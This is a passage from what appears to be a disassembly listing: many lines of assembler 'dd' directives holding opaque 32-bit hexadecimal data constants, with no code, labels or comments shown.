		dd 24B6B94h, 3F12B6EBh,	0BEEA807Ah, 0B87F0376h,	4DE97CCAh
		dd 4D9EFA64h, 0FCEF39D0h, 0CC06289h, 0DB74D3BDh, 0F895B824h
		dd 0DF885DB8h, 914D0681h, 3EC77050h, 677EBAE4h,	0C055CF68h
		dd 865DC9A8h, 0B49C48CCh, 0B0090934h, 5B06A583h, 94553AD8h
		dd 86804851h, 0C05C87Bh, 393A010Eh, 0EDDA982Fh,	7F48839Ah
		dd 0D2610DBh, 63C3B824h, 9576322Dh, 177E4431h, 9E44D1CDh
		dd 9994D381h, 93269325h, 0DD51A258h, 683A6940h,	359AC146h
		dd 6709650Ah, 0F890109Dh, 0FDA18920h, 0F71A8443h, 26C251DAh
		dd 0DC5E0446h, 87C28A11h, 51512F68h, 9713BFBAh,	5F93414h
		dd 0CC7E6FD6h, 681F5664h, 55985EF3h, 2E78EE58h,	14E541h
		dd 0C0E287C6h, 0F56789B1h, 4970EF1Eh, 0ED0162E9h, 807A271h
		dd 9F70CDAEh, 979BE29Eh, 89290485h, 53AC026Eh, 0D826C1B3h
		dd 5F7483EDh, 0F6F20A80h, 0E51D030h, 9A745452h,	58714606h
		dd 0BB1E9628h, 3FB9114h, 0D2E70F6h, 0FF0C002Ch,	1FDCA72h
		dd 9530E9F2h, 478F56E0h, 79F3F140h, 0E55C4C58h,	45163578h
		dd 5D71CD8Ch, 580CBEE8h, 8FC79423h, 0B132763Fh,	0D9CB4356h
		dd 9321ABBh, 0BE2D710Ch, 0BF02EBA0h, 105D71Bh, 35A3E0D3h
		dd 9D9E5C7Eh, 48744E10h, 28758419h, 81D50101h, 0C62CFCC5h
		dd 34CB20F5h, 4E051ACAh, 8521CE3Ah, 4051B78h, 0B0BF557h
		dd 5FD0259h, 805A007Ch,	43B00CF1h, 674804FAh, 0B3173121h
		dd 64FA875Ch, 92719051h, 7A783051h, 880D3420h, 1524C179h
		dd 548BA837h, 188E045Dh, 0F1E1E98Dh, 0E70E6362h, 0F263330h
		dd 29E0A968h, 5F5051B0h, 0C121683h, 67005D71h, 0AAE28142h
		dd 4D0A2604h, 0CC1B1226h, 7559EE55h, 0A8609239h, 0A1BB0F66h
		dd 0F1500C59h, 90BAF380h, 27864EDEh, 0F7E683E2h, 60B92003h
		dd 0C06ABC3Ah, 17E181D1h, 375496h, 0EFEC1F7h, 31043998h
		dd 0B95159CFh, 5C38D0C9h, 2EFC10Dh, 0C78C4006h,	0C5609AB1h
		dd 685FFA1Eh, 7771687Ch, 6F422CECh, 0BA0113C8h,	0BBC383C5h
		dd 0D7A433B9h, 0E1024B78h, 59024C33h, 9C10E366h, 6C4834C1h
		dd 1C1FAC39h, 0D320B19Dh, 50FDA814h, 176820C2h,	8E537908h
		dd 2BC03B8Eh, 29CCE405h, 11E9370Ah, 0ED80D5ECh,	0D9D0403h
		dd 6851025Fh, 47DF5335h, 48372F56h, 1AEC83B3h, 85237FC2h
		dd 548980C9h, 59AFE3EDh, 0C85C2444h, 0C11B4A0Eh, 1411687Fh
		dd 0BA8A4Ch, 4E046FCBh,	274CF281h, 7F02B02Ch, 10E46407h
		dd 61D62942h, 55A08082h, 0F6C948D3h, 817C341Dh,	888DC7F1h
		dd 591960DBh, 634A14B0h, 8117341h, 23C83D35h, 0C8107A24h
		dd 0B40E97BCh, 7A58E43Ch, 3456328Ch, 90E75E54h,	3BC6BB97h
		dd 435B8F12h, 368EE302h, 0CFFE8EC5h, 23F32008h,	0B04C040Eh
		dd 78620122h, 0DE955F1h, 0C5AA2806h, 0B414FCA1h, 4ACA1097h
		dd 0AB07A550h, 872961E4h, 266AB268h, 830F19A8h,	6385410h
		dd 40571AA4h, 84985289h, 0AAB059CEh, 18306002h,	42F10128h
		dd 5E08056Ch, 0E9FD8899h, 0C444E4C4h, 0B15DEB0Fh, 36F6F03Bh
		dd 32292A92h, 0B2A0E03Ch, 7E3F2909h, 55348247h,	0CA548C7Fh
		dd 0E1893E51h, 59656532h, 0CFC2DA4Eh, 0C67A7B68h, 0C6E92E51h
		dd 0CB808E74h, 53DBF647h, 8BE9BDEBh, 0FE1A8C81h, 32F114C3h
		dd 0F518DE88h, 3030CE49h, 0B880CE00h, 0A0E71264h, 0C1701D0Fh
		dd 29288354h, 1495E3C5h, 2410AB08h, 51AC0086h, 0C18063B1h
		dd 98949A07h, 9B5F64Eh,	3DA9E96Ah, 9D192F12h, 0CE4B71C1h
		dd 50326212h, 0AB675A2h, 1F366853h, 786ACFE9h, 45D64208h
		dd 96C8ED08h, 9FFF90C9h, 0BDDAC0CDh, 77AB5418h,	8D4DD9F4h
		dd 6E8154ACh, 4286DC55h, 2A905D0Ah, 0F15C009h, 26E99784h
		dd 50182952h, 12AFC17Dh, 5F4B7240h, 5208A816h, 144D705Eh
		dd 7685C05h, 0F7645060h, 83351442h, 6B03830Ch, 78EB6303h
		dd 159152Dh, 2521690Ch,	0FBC30120h, 0C081A95h, 0FB451409h
		dd 37AEB981h, 34715D53h, 1F234DC9h, 501DB300h, 0C4FE71B4h
		dd 7E4FF2FEh, 0AB174C3Dh, 2DC0E035h, 5C632ED8h,	0B401723Dh
		dd 0F752F04Fh, 43E6E0D6h, 684D1A0Eh, 5307C0C1h,	0E0217CBBh
		dd 0DE292506h, 0F0011598h, 90F08997h, 16382DCDh, 8432436Dh
		dd 0E90705F6h, 5ACDD37Eh, 8868F9E8h, 9AD90F4Dh,	46288241h
		dd 4862EBDDh, 0F513311Ah, 4123CA73h, 14461F9h, 411AECh
		dd 281713BDh, 9AC3B97h,	66A3760h, 34928682h, 524CA9CCh
		dd 1E5702FDh, 0C859183Dh
		dd 5BCC18Bh, 8982276Bh,	0C2DD06CAh, 0CC07301h, 5A294A2Ch
		dd 13A75EE9h, 0D6651D04h, 520C4074h, 0F1882AB6h, 713524C4h
		dd 1C3D0E16h, 8DDF9576h, 0A463206Ah, 63930A03h,	508012E9h
		dd 84C56525h, 0E90C8361h, 0B5364BF4h, 8538021Bh, 34F729FDh
		dd 19E8EB3Ah, 25E91217h, 0D5298580h, 5B5E795Ah,	59210076h
		dd 0EE81C601h, 8C73D104h, 0B5C95254h, 35F1CE10h, 0BA2D007Ah
		dd 9E2F4F7Dh, 5790C229h, 1716B3E6h, 650266C1h, 707D7325h
		dd 79B9014Eh, 0DA21272Ah, 7C2A805Bh, 0E94AAA47h, 1325B650h
		dd 0FE832166h, 536D86h,	2AC51121h, 598BFD09h, 8CD0023Ch
		dd 20040D3Fh, 8EEB8903h, 0D9210BFDh, 23A005Bh, 9113E368h
		dd 57FA89Ah, 3AFC5236h,	5E54C801h, 98B35840h, 0A1D8485Eh
		dd 0D8A9B62h, 21804105h, 7C1E5A2Bh, 4F09260Eh, 0A5C28EDCh
		dd 28A3D00Fh, 21BF2CD8h, 3819E9ADh, 23BF092Ch, 29838314h
		dd 3E71107Ch, 94582F25h, 9805EDD6h, 5A30E92Dh, 0F75D1035h
		dd 304F60DFh, 0E818CC7Bh, 1AF9092Dh, 0F8EEC3CEh, 17318013h
		dd 20BF5753h, 5FFB89E6h, 6FD92928h, 0B187BD2Eh,	6852054Fh
		dd 3B89161Fh, 1BF6B65h,	0D4E28104h, 4076407Ah, 0E43EDFF1h
		dd 2C107F5Ch, 82088A04h, 0E1933C60h, 57AA0305h,	0A3C4E887h
		dd 504D4889h, 0F705F1ADh, 51D07EE6h, 144C68A0h,	0E7691252h
		dd 0A207ED28h, 0C200D05Eh, 0D3F7026Ah, 77D747E0h, 2CBA8558h
		dd 0F443A22Bh, 58E680C8h, 5AF03930h, 28D6C3B3h,	28987F79h
		dd 1E173E20h, 1507E2C0h, 7863B8BCh, 0B28402C2h,	2F454F52h
		dd 0FEE3D220h, 1B162079h, 738EBB1Fh, 0F7535686h, 0BEDDFC34h
		dd 9522603h, 4027914Fh,	0D466D2E7h, 0B32BC6ACh,	500D996h
		dd 739241A0h, 48A19C5Fh, 32BF16EBh, 0A5A131B6h,	7058C328h
		dd 6CB0D0Bh, 0E9D340C6h, 24869C40h, 497F0E2Dh, 9D66792Fh
		dd 0BB8016FEh, 3C097340h, 4CB896Dh, 1FF05CFEh, 0C9E630E9h
		dd 2887B726h, 0C8E6F87Ah, 7B89DEFDh, 3534B602h,	2E3C0671h
		dd 6698D9ADh, 0C9F2541Eh, 691BC66Bh, 0C09534B4h, 0E6530482h
		dd 60A1F0EBh, 69EE3BEFh, 0CE58B4B8h, 3A202D07h,	4382C13Bh
		dd 0A252C29h, 4E580C1Ah, 0EE473F86h, 0E4913458h, 0AF1EED2Ch
		dd 0F9202196h, 7CBE11h,	0F622DAC5h, 0EC04D6Fh, 407153D8h
		dd 5DE81331h, 1B8A1501h, 0F665C04h, 39D3B4B3h, 0E2D1ADA8h
		dd 6B806816h, 0AE4ECCDh, 23C30505h, 0CD131FE9h,	64E3E3B5h
		dd 64EE2D30h, 27685EF5h, 6292123Eh, 5D59B852h, 7BE9129Ah
		dd 6E25EC40h, 14FF06Dh,	560F4935h, 30C63118h, 643FE6DEh
		dd 904C2D32h, 4A6968C6h, 0BFA2C809h, 0DD341809h, 0BB6F036Ah
		dd 23B3D8D7h, 0B8E30581h, 0C00ECC3Bh, 0FD08E96Fh, 4EF97248h
		dd 45546C0Fh, 0ADA4DDE0h, 0F73C1784h, 455308A1h, 848F2814h
		dd 0C105C8AAh, 0C3C11CE7h, 6AB42A10h, 0A987B4h,	9EE90A24h
		dd 0E5E93B54h, 8831C917h, 1EBA1015h, 6D6C15Dh, 2080BBC4h
		dd 0FED4A43Fh, 98EF7F89h, 21960BFCh, 1FC06C38h,	5C09CF81h
		dd 19BA2Ch, 4C029797h, 6495C4Ah, 5469E909h, 18205752h
		dd 0BA523874h, 783F2382h, 0D478D131h, 822E0F0Fh, 24F12B3Ah
		dd 1A655E48h, 84019B5h,	5B808578h, 0A20BA858h, 72D98247h
		dd 8310273Dh, 0D9E3C036h, 6271C380h, 62440B2Bh,	0D40A8BC2h
		dd 275F6401h, 0F780AA0Ah, 0E1F681DEh, 99520CADh, 0E39EF389h
		dd 0B00BBF09h, 5AB8737h, 207383Fh, 0AA22FFD1h, 1F6025Fh
		dd 8D843150h, 40F8A8DDh, 63157CC2h, 40BD06D0h, 5C2C70BAh
		dd 0EB12F836h, 912562E2h, 31AD25C0h, 0E51D824h,	0DD12208h
		dd 32BA6C01h, 4B8320E4h, 8BD87159h, 90342A2Ch, 0F1841BA8h
		dd 0E9D3A05Eh, 2D3BB42Eh, 243A0B4Ah, 570C3150h,	9155185Bh
		dd 0F0114996h, 251028C2h, 2AED1E51h, 0D8B9D705h, 0DE87C4AAh
		dd 6BBB9395h, 0A26507C3h, 0E9584C24h, 4092E3C7h, 31EE0429h
		dd 0DF304F0h, 0B71298B3h, 2828B2F8h, 0CFB26668h, 212428A6h
		dd 0A91656F2h, 0C7FE3146h, 1F807404h, 9676B661h, 0B88084FDh
		dd 8901CB45h, 683A905Eh, 31374E09h, 8EEE2651h, 0ED505E50h
		dd 0D0008FC8h, 5C08053Bh, 0A60E3243h, 29E0CC0Eh, 63E95FFDh
		dd 0E39752E9h, 6A14CF1h, 6F5A92Fh, 9B1203E2h, 0F12F1276h
		dd 60402E90h, 590ED0F1h, 0CA092016h, 548049F4h,	5A7F945Eh
		dd 4D9C2623h, 1B2C7327h, 50F42CCAh, 5C5E5C1Ah, 0DD82B765h
		dd 0E08A6051h, 64B72E7Fh, 0BADA84Fh, 550174D8h,	2A145380h
		dd 89132361h, 0DDC45BD9h, 77482h, 2D1D47E0h, 0BA010094h
		dd 0F801DFE2h, 0AB0BA142h, 21D345E4h, 49382606h, 0DB68E8C0h
		dd 0D38C4B4Bh, 0F63826FBh, 79F503D3h, 0E8B4945Ch, 630293D4h
		dd 85018997h, 0C35DDE93h, 5B3725E4h, 748E6BB2h,	283E8495h
		dd 0E14082FCh, 0CDC940E0h, 0B404B290h, 0E84AE990h, 8B4C6892h
		dd 522F0A92h, 206C0788h, 79B70F99h, 936977B1h, 0EA80A020h
		dd 0D43B8894h, 0CDC6125Ah, 4943D909h, 3720D179h, 2E0D133Dh
		dd 4234016Dh, 0D86B1647h, 62196ACDh, 670C1477h,	0DF59D2D0h
		dd 2F110ED8h, 3F5CE922h, 0B1F55A05h, 0A52C42E1h, 53825889h
		dd 0C101F941h, 762008E2h, 2CC8405Ah, 1C6AA64Ch,	302602ECh
		dd 0E96AB2C1h, 7D7D4FC9h, 7D2B1C88h, 46D3E984h,	2DF7830Ah
		dd 6F211B21h, 6870341Ch, 324E3427h, 0A4A5CF70h,	0C5084360h
		dd 1656AC2Fh, 0F6EA63EBh, 47016ECEh, 0CC2CACEFh, 0A0CA31F8h
		dd 5B685F83h, 0C0ADC43Eh, 0D7F60061h, 0CEFC8850h, 0E7A7EC06h
		dd 0E9E58158h, 0C19A3479h, 3108E805h, 0C79450C8h, 0EFE9AC20h
		dd 0E0D1C453h, 35DDC057h, 1E7E4F1Ah, 9164D932h,	0FE184044h
		dd 6F772870h, 1B1D0BF7h, 10206467h, 97E95D08h, 5F10CFB6h
		dd 1B0F4584h, 0D03EBA7Ch, 4DB900E9h, 0B85DAB71h, 0C47ED283h
		dd 2F5D76FEh, 0E9F82C3Ch, 52A2AF2Ah, 0C4CFBF5Ch, 45A4E136h
		dd 0A7490B0Bh, 0BD8631BEh, 0F8754A21h, 0F04E2480h, 57E44033h
		dd 0E98564CBh, 0A650CD4Ch, 74B60F66h, 0C7681ECCh, 45ED2633h
		dd 4095A1F0h, 278ACA58h, 0F75E0D0Ch, 9D504ADAh,	3847F011h
		dd 0D1010E90h, 82596F03h, 0CC2CF668h, 82A24B05h, 79E231CEh
		dd 0DD939EC0h, 92F802Fh, 6258D1BBh, 0D1094699h,	0CB24902h
		dd 3C1D3391h, 0F92D0639h, 3314B31Ah, 51F58827h,	4CEAC4BAh
		dd 0E8F6876Ch, 214CF69h, 5980ED6Ch, 0F392120h, 0C1C5F928h
		dd 3D71C282h, 68A8EF6Ah, 99408A9h, 0D4356801h, 90E8056Eh
		dd 0CB15C422h, 928BAC3Ah, 8A4B91E6h, 0CCC54D2Ch, 0EC803D20h
		dd 4148B044h, 0C4847D52h, 10478A3h, 0F74294F9h,	45907D60h
		dd 60217720h, 2B4E685Eh, 0B1B4044Dh, 330A093Ch,	0EE298015h
		dd 4AA9561Dh, 6ED186Dh,	7DB24CE9h, 9495F1ACh, 46309105h
		dd 0E9120C83h, 79B37565h, 6669614Ah, 0C25D0270h, 4AB07134h
		dd 407324BEh, 0FFE9E829h, 928EC369h, 0C724847Dh, 8484E225h
		dd 0F0F49EE9h, 0B5513C58h, 3EDC009h, 0F8D3DC62h, 660041A7h
		dd 694DDC57h, 9684E9E4h, 6B052E4Bh, 0C8A178Ah, 0C1832A5Fh
		dd 0D47B030Ch, 64B6186Fh, 81C32D34h, 3221041Bh,	310B1D53h
		dd 81535605h, 5DA28F01h, 9D607E39h, 485A4A1Fh, 0AD0356BCh
		dd 921D4505h, 276D412Bh, 57253635h, 0A83462E5h,	0D9009D89h
		dd 0ED41FDEBh, 0FA2A667Eh, 0DCEDA239h, 0B180C5A1h, 0CB203DEFh
		dd 0D10CF313h, 29771511h, 7D0795FEh, 4133069h, 0A1CC258h
		dd 3FAB59E8h, 0F63B02C0h
		dd 0D6BE13D5h, 0D9815A24h, 23EC0860h, 0BA40C026h, 6FFE7093h
		dd 96000CB0h, 29F872ADh, 60B4E9D3h, 511E255Ch, 68E60A85h
		dd 0A654B22Eh, 711C006Fh, 265A3DC9h, 5A175952h,	8B0FE741h
		dd 0E8C821D3h, 8A16D678h, 0DC540E84h, 5530E943h, 0E20FD53h
		dd 2F5A7A47h, 11B84E11h, 701E1C1h, 6D3BA52h, 0F2FC12DFh
		dd 702F18FDh, 5453D647h, 298B7B07h, 4F305AD1h, 24685924h
		dd 699B7CE3h, 61034C08h, 2FF639E9h, 0CC543C22h,	0E9520B07h
		dd 6E44628h, 6881B4D2h,	70E2D366h, 0C1482062h, 5AD53004h
		dd 57ACE828h, 278C6802h, 0A348F6E9h, 1713FBBEh,	5001D70h
		dd 16DC0B05h, 60B9B829h, 7BE6C84Ah, 314C71F7h, 834D50C0h
		dd 469F79Ch, 0D2E343FCh, 0E03AAC07h, 48A1D232h,	0BE001FE6h
		dd 7CA6516Dh, 201F681h,	0E92AF837h, 0BFA347EEh,	964CC0EDh
		dd 140410D5h, 0D6E74879h, 34DF363Ch, 79370181h,	6D1CB371h
		dd 0F75F2C67h, 2538C54Bh, 0EF2057E5h, 0F1AD02FDh, 0B0BE41E8h
		dd 5318C84Ch, 3E4FF6A0h, 9932FB3Fh, 0E8945AD3h,	0ABB7412Eh
		dd 4277C80Fh, 0D3F1EFFFh, 74B8F701h, 428E73B4h,	36E27714h
		dd 0B40D729h, 0B859E9FAh, 55590E47h, 325CE750h,	31C249E5h
		dd 0F07B460Fh, 3C5194C6h, 936B1927h, 0B4C834DAh, 64012D5Ah
		dd 68BE1DA7h, 7D495429h, 390906BBh, 2DD07E2Eh, 0EE90780h
		dd 58580097h, 9902C783h, 84DF129Dh, 1BE50839h, 7C64143Dh
		dd 4C51216h, 0E95C62C3h, 1A800E50h, 0FEFCB151h,	3F6C0C9h
		dd 0E72C63B0h, 3D084530h, 1C55964Fh, 3ECB6074h,	0F8875A32h
		dd 78BB1205h, 0DA2DE47Dh, 9B91E40h, 0F2B5315h, 386B8AE1h
		dd 78875982h, 69F89F25h, 0BB1014F6h, 883D460Ch,	0A53F2634h
		dd 259D3194h, 0C5F8A233h, 805F5929h, 0D828442Ch, 0D20EB353h
		dd 632BEB80h, 0B3C0DFF3h, 0AC074C03h, 88BDF724h, 0AE880401h
		dd 2C5906CBh, 0D2FB468Ah, 57F94A4Ah, 0B25207B0h, 0F2801099h
		dd 49E3B3Ah, 0FCE995C2h, 1252C7E0h, 5DFEBF57h, 42FEAC28h
		dd 43057499h, 4621EEC2h, 7810975Bh, 26B60A0Eh, 0BF12BF48h
		dd 9C7CB023h, 78406609h, 7D7C0A02h, 3292D5FEh, 7A2CE577h
		dd 33406B72h, 0EC6E8E01h, 18B37CC9h, 1A410A15h,	0EF09B94Eh
		dd 0ABCB012Ah, 0B24C5B5h, 6F5258E9h, 68752BEDh,	391D5C88h
		dd 2580136Ch, 65051670h, 8D0F0D48h, 0F2EAF43h, 0F98AA033h
		dd 0AADC7EE9h, 0CA68E2BEh, 599600CCh, 4C22AB64h, 0C7501DC1h
		dd 46691894h, 2B109056h, 2D4EF12Eh, 8539D300h, 69AAE921h
		dd 0E2F14EFAh, 5084D1A4h, 37828851h, 2C61D48Ch,	5712567Eh
		dd 0E23DEE9h, 0A606B368h, 0F88839E5h, 9CC6E87Eh, 7FE986FAh
		dd 0BFF43B61h, 4FFC8D7Bh, 9FF147ECh, 870F08C8h,	0DB10F7F7h
		dd 81553F06h, 0E973C7BDh, 0AA79D194h, 0B1185F06h, 930A0C0Ch
		dd 0BB44CC7Eh, 0EF235003h, 0EAEBAA0Bh, 4E3C7A08h, 5629805Ch
		dd 3A097DBEh, 253174A9h, 4D945E24h, 0F28558Ch, 0EFC780E7h
		dd 3862D249h, 8B13A75Ch, 4BE9B428h, 33C1C298h, 68417276h
		dd 632E2209h, 3A5AE905h, 1BC5A391h, 38095B01h, 0C5538949h
		dd 274D0864h, 52DE627h,	0DA689F2Ch, 5A5EA22Eh, 0A2053182h
		dd 2621AF1Dh, 56E7C5EFh, 0FC0012B7h, 89375B70h,	6BF7E9FDh
		dd 0DCB29144h, 68816253h, 1FA31B01h, 0FD1C062Ah, 0EEF60E1Ah
		dd 6C691BB6h, 0DB8F2098h, 54015B14h, 175A26BBh,	0C5125592h
		dd 3192C0A2h, 2930D9BCh, 33ED5031h, 0E98D74Ah, 21F84B39h
		dd 0C9685883h, 1F642F65h, 563C20A5h, 0A5195404h, 0ADFFB042h
		dd 14B527BAh, 515301DBh, 9C601FB9h, 0E006317Bh,	4B7DD30Fh
		dd 0B388BB4Ah, 4DE9F8CBh, 5B2BC0E1h, 2AB38BE1h,	2F27BCD1h
		dd 18A38A67h, 5562C152h, 0B741B94Dh, 726F784Bh,	2A41D30Bh
		dd 815024D8h, 0FDA4F305h, 0EF00885Ah, 266F428Ch, 0CDF4C01h
		dd 985B0840h, 3480E59Ch, 0EFC0CFFEh, 0F7368004h, 55980607h
		dd 2F38A822h, 6B5B294Ah, 0E95F7C20h, 33CBEEFh, 7DE58145h
		dd 20467FE1h, 173C210Eh, 48C13EC5h, 3B05763Ah, 1E1F076h
		dd 0FC933B0h, 2E044496h, 0C549741Eh, 0B47DB801h, 9F412789h
		dd 8005039Dh, 44EA81E5h, 465B7874h, 74FDDEC0h, 15328CCh
		dd 1BC325EFh, 0BEC18393h, 68397B23h, 822C60F8h,	6CCC800h
		dd 5E0778D6h, 43D3F74Bh, 0A3AB8049h, 0ED3F7416h, 1C6DA96Ch
		dd 0F5D2810Bh, 26CF7890h, 0FC160C8Eh, 0EB2909C3h, 0E2D934FFh
		dd 0A78793C4h, 0D9B70D15h, 6EB5176h, 0ED37E735h, 551D6752h
		dd 0A2459605h, 16B34CE2h, 0EF05F6FFh, 0F584C8F2h, 5BDD4FC1h
		dd 0EDEDD5C1h, 3AF2E0E2h, 0C16DC05Ch, 0AD476A7h, 1230FF94h
		dd 5822C604h, 0E90B7D75h, 20F14911h, 2CBB8588h,	3AAC00EBh
		dd 0E8C15F0Ah, 784F1EB8h, 0A2BB5E00h, 27F2EB05h, 684CDF31h
		dd 1020FB48h, 0D54CDAADh, 7DF9EE0Eh, 0E0A704B2h, 0E8C0004Ch
		dd 28F62C08h, 9294C588h, 98DEF0B8h, 0FE29958Fh,	0E8134A73h
		dd 0A0E94760h, 4D4E9E18h, 5F864117h, 0CA6803E6h, 927AC664h
		dd 0AB89518h, 8B7A5B57h, 0E9095C99h, 4615C248h,	0F6D29835h
		dd 3CFB2C5Fh, 28370038h, 6DE93846h, 5C12CCB6h, 5659D8D1h
		dd 52543A52h, 0C6B5207Ah, 0FAC0507h, 0C55053CAh, 1447AE68h
		dd 72DF029h, 5E11A175h,	9B1F51E4h, 40E98B7Ch, 0A5696B29h
		dd 0A035C458h, 30490D13h, 683AD6CAh, 539875A0h,	0E706A4Eh
		dd 3A655E05h, 0C1803C9Ch, 2954223Ah, 7A32DC8h, 591104ADh
		dd 31BB8333h, 0E0D066Ah, 4DF4FD16h, 0BE1504B2h,	80424A16h
		dd 5C483FDEh, 5EE9080Ah, 6C8CCDEEh, 5CB49174h, 0E2D3F90Fh
		dd 63E9825Ah, 61CB7623h, 332FA168h, 5D5400A7h, 556BA52h
		dd 740F60BBh, 2F397288h, 3604F698h, 211E4857h, 0F10549EDh
		dd 957C1904h, 4E760017h, 0D153E43Ah, 0BBE9E80Bh, 25E07375h
		dd 0AD94E62h, 8DE95284h, 0D0797CE1h, 0F6A5C5F4h, 0C66079D0h
		dd 1F5F5378h, 9F68120Ah, 0BB1C303Bh, 0DC26156Dh, 0C825465Ah
		dd 9B6D9h, 0D8011C8Fh, 0E5E9405Bh, 80D8C248h, 6BBD12E3h
		dd 5FD07DF7h, 31641680h, 890CBED9h, 59CBCDh, 7C4BA26Ah
		dd 0E7810238h, 509E6304h, 0C7019BF4h, 101C4303h, 8430EA21h
		dd 30FF800Ah, 181B74FFh, 0A9122E28h, 5807C150h,	400BA898h
		dd 0B70486Bh, 0D1531119h, 26856D8h, 1B2E64CCh, 0FCBACE9h
		dd 901165DFh, 0B4E6850h, 771DFCA8h, 49D47982h, 0DC87A204h
		dd 3D00A199h, 0D6093A5Dh, 4E8B685Ah, 26453302h,	186E4F65h
		dd 0DFF73691h, 0BF25C0F4h, 5C27D01Ch, 0F50A3D2h, 29A311E0h
		dd 80322564h, 3082B99Dh, 3385B540h, 0ED060086h,	5A65381Eh
		dd 97CD012Ch, 594C0820h, 5F699447h, 12CDE28Ch, 0B34F15E9h
		dd 458A92A6h, 0F4E25D78h, 5BC22E5Fh, 0BB9A5B0Ch, 0F331095Ah
		dd 2909295Eh, 0D9C7DE02h, 1325440Ah, 0B688F5CDh, 20BC641Ah
		dd 84E9C555h, 44278A03h, 0CC9255A1h, 77CE92Ch, 8BC775A6h
		dd 7DF41459h, 64C7BC66h, 1F3BA835h, 0DBD65958h,	0CE79AAE1h
		dd 0A1DB1DD6h, 0CC0D0F2Ch, 0FF40390Fh, 3E0C7684h, 55A54974h
		dd 85A8885h, 10BE0294h,	5C045945h, 8D0F3E68h, 1A462BC4h
		dd 202D6EEAh, 0B43B4E28h, 342AD32h, 6D3C31BFh, 0F80D06DCh
		dd 0B9944C2Bh, 0C3011451h, 0B8765044h, 0CA096956h, 84E0C121h
		dd 0B8ACDE95h, 0C9DEA35Ch, 7BFA1F53h, 0F11A9A09h, 3F04F052h
		dd 5F6325Ah, 31633CE1h,	8F98143h, 5208941h, 24C8DE2Ch
		dd 4C62F81h, 4AADA580h
		dd 0DD31533Fh, 5E0840BDh, 0BBAE336Fh, 5C0D1306h, 6F1CD121h
		dd 740305B7h, 0F7BFDE34h, 0A9D6A2B2h, 9A050D4h,	2A693FD5h
		dd 23A35180h, 9021DA1h,	0E5C158C5h, 0CFAAE003h,	34462605h
		dd 27DE004Ah, 0FD092D3Bh, 0FB1E5F60h, 0BDEF3FFFh, 26A1B782h
		dd 68148D94h, 0CFA83FD7h, 0DC72055h, 275D63D6h,	6B48D5F7h
		dd 530BE0F5h, 0AB890138h, 5EDACE28h, 54EE91C5h,	8A420B5Ah
		dd 0C42EE9C3h, 19D0F525h, 0E46D313Fh, 49D6E919h, 2351D85Ch
		dd 59CE6FC7h, 0D99AE47Fh, 534881B3h, 83D28A24h,	585AD188h
		dd 0C587D7A7h, 0BD31D08Bh, 0F9095003h, 4EA016Ah, 0F412370Fh
		dd 2B955C62h, 0FEF7EA95h, 5549BEFAh, 95569274h,	1D49CD3Bh
		dd 537A78B1h, 5C3F1C96h, 90525B0h, 0B7F6D849h, 5FDE2D32h
		dd 0E398C3h, 80F5B5C2h,	0E5C06AEDh, 0C7A30573h,	0E934C5C8h
		dd 8022204Ch, 4296ECC3h, 176812A2h, 1F7B4469h, 9B13E8D7h
		dd 6831D78Ch, 0A7FD4AF3h, 87222A75h, 0A5D15C15h, 26B16882h
		dd 4F62E9F4h, 0E4B17CEDh, 0E91C1383h, 315A76A0h, 0FA836B5Bh
		dd 500005B5h, 2D803936h, 644B01BEh, 0FE316008h,	0C9BE9D5Fh
		dd 0CB72240Eh, 86E700EBh, 0D0F3297Eh, 0E90C081Ch, 0D07731CFh
		dd 99852C3Ch, 0C56B5F54h, 914A314h, 0D117A668h,	4625B829h
		dd 0C9CF54D9h, 0EA3B68FCh, 480C1214h, 545B033h,	0C1BA07B1h
		dd 83C73039h, 0C373D9E8h, 0C3DFE90Bh, 0D7A6CD77h, 0D6B2224Eh
		dd 6858A70Ah, 302D5E0Bh, 0E261E9B5h, 0C9263A7Dh, 0BCC2F733h
		dd 5D15A17Ah, 9DED505Fh, 1301E65h, 69B865A7h, 0F8D49D34h
		dd 0D1A4D44Dh, 0F019103h, 1395BD1Ch, 0C5EDE90Bh, 545ECAACh
		dd 6B99082Bh, 42C1D53Eh, 0C9D823CBh, 5404BB9h, 4CF01CFEh
		dd 1526796Eh, 7744A5CBh, 782C0C4Eh, 857EB187h, 8A37EAE9h
		dd 0D02E7B9Eh, 0E140E9D3h, 57BAE09h, 0F07F1F2Dh, 25EEC731h
		dd 93F2D1D8h, 0C77BA410h, 9364F212h, 7C1092ADh,	6368094Fh
		dd 816DD145h, 50C01D53h, 0D38C314Dh, 3FE90F17h,	895864C0h
		dd 59C3F0D1h, 2C20E0E7h, 8D0806D6h, 0B46B8804h,	4A8A4C27h
		dd 53FCCC54h, 0CA0186B1h, 74E81213h, 28A5120h, 152BDC3h
		dd 90FC5AD7h, 589FE90Fh, 485CB152h, 0EA309053h,	0C2015E10h
		dd 0AFAD0AB4h, 66ED3C4Bh, 0F1F70E36h, 0B3579268h, 16AA643Fh
		dd 0ACF78140h, 0A700A1C9h, 6170E705h, 0AAC4E941h, 879A60A8h
		dd 1C280F6Fh, 0C900D9F7h, 16D8696Bh, 2EC0E914h,	0E9BDA5DCh
		dd 164E1184h, 126356F4h, 12E7336h, 0FF39BDEBh, 0DCF1305Fh
		dd 3315D294h, 0E4D10D6h, 411FBB3Ah, 0F38100DEh,	42035E87h
		dd 2FEBE917h, 4AA6F539h, 81C19D20h, 0F6685206h,	3E1A336Ch
		dd 6D1B2E57h, 0F8EA2989h, 42FB00E8h, 0E6817840h, 0F23B1D03h
		dd 0F8F60355h, 0A3DEE4Fh, 5D75C60Ch, 845112C3h,	76C3B394h
		dd 10960A4Ch, 810E2B66h, 16FCEFCDh, 1D1081Ah, 5152A142h
		dd 0D89D89C8h, 0E834C3B4h, 0A6A21CDFh, 0C057939Fh, 550CBD6Fh
		dd 2F73F43Dh, 80AD05B4h, 0D1F610C1h, 568F0A9Fh,	0C904C5B7h
		dd 62954264h, 0B317FBFAh, 0F9C3E1C0h, 8204843Ch, 0D8010477h
		dd 688942BAh, 8F5E1FCAh, 1385B79h, 147DE9F0h, 8C0DDC8h
		dd 5412C2FBh, 21399DC5h, 60310853h, 685C0D06h, 59E3C85h
		dd 682F6948h, 546CE994h, 9C19BFCh, 75770CD2h, 0E4E06500h
		dd 9FCB6Fh, 0AFBB53FBh,	0CFF2423h, 8C8D1F2Fh, 0DD0C0696h
		dd 5A0B1903h, 9A5BDA01h, 52545CD3h, 27157A56h, 92FC4DACh
		dd 0F4E586A8h, 0D130E951h, 94F5EB49h, 824A485Fh, 0F6EE410h
		dd 42C2BD55h, 7C4D7652h, 3D2728B1h, 113B6A84h, 736CE503h
